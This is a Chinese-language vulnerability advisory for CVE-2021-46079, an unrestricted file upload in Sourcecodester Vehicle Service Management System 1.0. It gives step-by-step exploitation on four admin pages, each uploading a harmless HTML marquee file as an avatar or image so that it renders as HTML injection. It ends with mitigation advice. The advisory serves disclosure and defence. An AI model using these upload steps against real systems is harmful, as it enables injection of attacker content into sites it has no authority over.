CVE-2021-46079
漏洞名称: 车辆服务管理系统 - '多个'文件上传导致HTML注入
CVE: CVE-2021-46079
CVSS: 7.2 高危
参考:
漏洞描述:
Sourcecodester 车辆服务管理系统 1.0 存在一个不受限制的文件上传漏洞。远程攻击者可上传恶意文件,导致HTML注入。
1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)
利用方法:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至“我的账户”部分 http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将上述HTML代码保存为文件,例如
Html Injection.html
- 在“我的账户”部分填写所有必要信息,并在“头像”处选择该HTML文件。
- 点击“更新”按钮。
- 在新标签页中打开头像图片。
- HTML注入被执行。
2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)
利用方法:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至“用户列表”部分,点击“创建新用户”按钮。
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将上述HTML代码保存为文件,例如
Html Injection.html
- 在“创建新用户”页面填写所有必要信息,并在“头像”处选择该HTML文件。
- 点击“保存”按钮。
- 在新标签页中打开头像图片。
- HTML注入被执行。
3. 车辆服务管理系统 - '设置-系统标志' (/admin/?page=system_info)
Payload:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将上述HTML代码保存为文件,例如
Html Injection.html
- 在“设置”部分填写所有必要信息,并在“系统标志”处选择该HTML文件。
- 点击“更新”按钮。
- 在新标签页中打开系统标志图片。
- HTML注入被执行。
4. 车辆服务管理系统 - '设置-网站封面' (/admin/?page=system_info)
利用方法:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将上述HTML代码保存为文件,例如
Html Injection.html
- 在“设置”部分填写所有必要信息,并在“网站封面”处选择该HTML文件。
- 点击“更新”按钮。
- 在新标签页中打开网站封面图片。
- HTML注入被执行。
影响:
攻击者能够在多个端点上传恶意文件,导致HTML注入。
缓解措施:
建议实施以下措施:
- 切勿直接接受文件名及其扩展名,除非有白名单过滤。
- 如果不需要Unicode字符,强烈建议仅接受字母数字字符和一个点作为文件名和扩展名的输入。
- 限制文件大小最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何“执行”权限。
- 不要仅依赖客户端验证。